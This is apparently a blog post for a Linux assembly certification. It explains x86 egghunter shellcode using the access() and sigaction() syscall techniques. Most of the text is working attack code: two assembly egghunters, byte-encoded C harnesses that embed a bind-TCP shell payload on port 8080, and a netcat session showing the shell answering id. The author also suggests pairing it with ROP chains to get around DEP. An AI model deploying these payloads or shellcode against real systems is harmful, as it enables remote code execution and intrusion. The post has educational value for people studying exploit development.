SLAE Assignment #3 Linux/x86 Egghunter Shellcode


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE-1202


Hi! Today I suggest you to look at my favorite exploiting technique named egg hunting.

Egg hunting is a basic method to build staged shellcodes. In two words, this is a shellcode that iterates through memory, looks for specially crafted signature and executes your main shellcode that usually is placed after this signature.

In this case, the ‘egg’ is that signature. I think this makes name of this technique clear :)

Sounds crazy, but egg hunting is really useful when you try to exploit some application where is not enough space to load full-featured shellcode like reverse_tcp and others. You can load your main shellcode to another place first (heap, for example), and then run your exploit with egg hunter shellcode.

Previously I had to work with egg hunter shellcodes under Windows, so, this article describes my first experience of egg hunting under Linux systems.

If you want to read more about egg hunting, I recommend you to read this whitepaper - and I am sure, you will call it the Bible of Egg Hunting.

Egg Hunting

Well, iterating memory is not so hard task. You just load some start point address into your registers, align it with your memory page size and start looking for some signature.

But here is a small problem - when you try to read unallocated memory, you will get SIGSEGV that usually crashes your program.

Of course, this doesn’t work when you write your own handler for such situations. If so, you don’t need to use different hacks I will describe in this article :D

For Linux, there are two possible ways to solve this problem. Bot of them uses syscalls, and both of them allow you to check memory before reading. Let’s look at them one by one.

SYS_ACCESS

Here is a small quote from access man page:

NAME

   access - check real user's permissions for a file

SYNOPSIS

   #include <unistd.h>

   int access(const char *pathname, int mode);

DESCRIPTION

   access()  checks  whether the calling process can access the file path‐
   name.  If pathname is a symbolic link, it is dereferenced.

If you check SYS_ACCESS (EAX = 0x21) reference, you will see that this accepts some ‘filename’ (in EBX) and checks access to this file from current process. The hack is that access() accepts not only file path-names, but memory addressess too!

Here is my code implementing access() egghunting technique:

; access_egghunter.asm
; Author: German Namestnikov
 
global _start
 
section .text
 
_start:

xor edx, edx

page_alignment:
    or dx, 0xfff

egg_hunting:
    inc edx
    lea ebx, [edx + 0x04]
    
    push dword 0x21
    pop eax

    int 0x80
    
    cmp al, 0xf2
    jz page_alignment

    mov eax, 0x41414141

    mov edi, edx

    scasd

    jnz egg_hunting
    scasd

    jnz egg_hunting
    jmp edi

It iterates through the memory, checks the memory location with SYS_ACCESS, read it and compares this with some string like ‘AAAA’ or 0x41414141.

SYS_ACCESS returns negative decimal if something gone wrong. We are interested in EFAULT that has code 14, or 0xf2 in negative form.

So, if memory with some address is not readable, it just increments address and tries again. The ‘scasd’ instructions (you should be familiar with it from the SLAE course material) allows you to compare some memory value with the ‘egg’ stored in EAX. If egg hunter code found the ‘egg’, it executes code that is placed right after it.

There are two comparsions via ‘scasd’ and this allows us to reduce false-positives. But you still have to choose unique values for your ‘eggs’ - don’t use ‘AAAA’ or something like that.

I have written a small demo for this technique. I compiled egg hunter and pasted into executor c-program. Here is the source:

#include<stdio.h>
#include<string.h>

/*
1. Make egghunter code with 'objdump':

german@slae-lab:~/slae-shellcoding$ objdump -d ./access_egghunter |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

"\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x41\x41\x41\x41\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7"

2. Compile with 'gcc -fno-stack-protector -z execstack executor.c -o executor'
*/

unsigned char egghunter[] = 
"\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8"
"W00T"
"\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7";

unsigned char shellcode[] =
"W00TW00T"
"\x31\xc0\x31\xdb\x31\xf6\xb0\x66\x43\x56\x6a\x01\x6a"
"\x02\x89\xe1\xcd\x80\x31\xd2\x92\xb0\x66\x43\x56\x66\x68"

"\x1f\x90"

"\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\xcd\x80\x31\xc0"
"\xb0\x66\xb3\x04\x56\x52\x89\xe1\xcd\x80\x31\xc0\xb0\x66"
"\x43\x56\x56\x52\xcd\x80\x93\x31\xc0\x31\xc9\xb1\x02\xb0"
"\x3f\xcd\x80\x49\x79\xf9\x56\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x31\xc0\xb0\x0b\xcd"
"\x80";

int main()
{
    printf("Shellcode Length: %d\n", strlen(egghunter));
    int (*ret)() = (int(*)())egghunter;
 
    ret();
}

I used my own bind TCP shellcode. Compile it with gcc -fno-stack-protector -z execstack access_executor.c and run.

It works and have only 35 bytes in length!

german@slae-lab:~/slae-shellcoding/assignment_3$ nc 127.0.0.1 8080
id
uid=1000(german) gid=1000(german) groups=1000(german),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
whoami
german
hostname
slae-lab

SYS_SIGACTION

Having only one method for safe memory iteration is a bad idea. Something may change in the Linux kernel and your egg hunter won’t work.

That is why you should check another method - sigaction().

Investigate man page again:

NAME

   sigaction - examine and change a signal action

SYNOPSIS

   #include <signal.h>

   int sigaction(int signum, const struct sigaction *act,
                 struct sigaction *oldact);

   Feature Test Macro Requirements for glibc (see feature_test_macros(7)):

   sigaction(): _POSIX_C_SOURCE >= 1 || _XOPEN_SOURCE || _POSIX_SOURCE

DESCRIPTION

   The  sigaction()  system  call  is used to change the action taken by a
   process on receipt of a specific signal.  (See signal(7) for  an  over‐
   view of signals.

SYS_SIGACTION has 0x43 code and returns the same value as SYS_ACCESS.

Here is the code:

; sigaction_egghunter.asm
; Author: German Namestnikov
 
global _start
 
section .text
 
_start:

page_alignment:    
    or cx,0xfff

egg_hunting:
    inc ecx
    
    push byte 0x43
    pop eax

    int 0x80

    cmp al, 0xf2
    jz page_alignment

    mov eax, 0x41414141
    
    mov edi, ecx

    scasd

    jnz egg_hunting
    scasd

    jnz egg_hunting
    jmp edi

Well. I would decide that I saw this code in previous part, but the code (0x43), and some details are different.

Here is a C code:

#include<stdio.h>
#include<string.h>

/*
1. Make egghunter code with 'objdump':

german@slae-lab:~/slae-shellcoding$ objdump -d ./sigaction_egghunter |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

"\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8\x41\x41\x41\x41\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7"

2. Compile with 'gcc -fno-stack-protector -z execstack executor.c -o executor'
*/

unsigned char egghunter[] = 
"\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8"
"W00T"
"\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7";

unsigned char shellcode[] =
"W00TW00T"
"\x31\xc0\x31\xdb\x31\xf6\xb0\x66\x43\x56\x6a\x01\x6a"
"\x02\x89\xe1\xcd\x80\x31\xd2\x92\xb0\x66\x43\x56\x66\x68"

"\x1f\x90"

"\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\xcd\x80\x31\xc0"
"\xb0\x66\xb3\x04\x56\x52\x89\xe1\xcd\x80\x31\xc0\xb0\x66"
"\x43\x56\x56\x52\xcd\x80\x93\x31\xc0\x31\xc9\xb1\x02\xb0"
"\x3f\xcd\x80\x49\x79\xf9\x56\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x31\xc0\xb0\x0b\xcd"
"\x80";

int main()
{
    printf("Shellcode Length: %d\n", strlen(egghunter));
    int (*ret)() = (int(*)())egghunter;
 
    ret();
}

If you are to lazy to check it by yourself, I can assure you that it works fine too and takes only 30 bytes!

Conclusion

The both of described techniques are applicable in nowadays. Egg Hunting allows you to execute any loaded in memory shellcodes and build complex staged payloads.

I think that some security measures like DEP makes this relevant again, because you just need to build a small ROP-chain to run your Egg Hunter to launch a huge payload like meterpreter reverse_https.

Anyway, I hope that this technique will live forever :D

By the way, you can see all my SLAE Assignments in my repo. Enjoy!

The end

comments powered by Disqus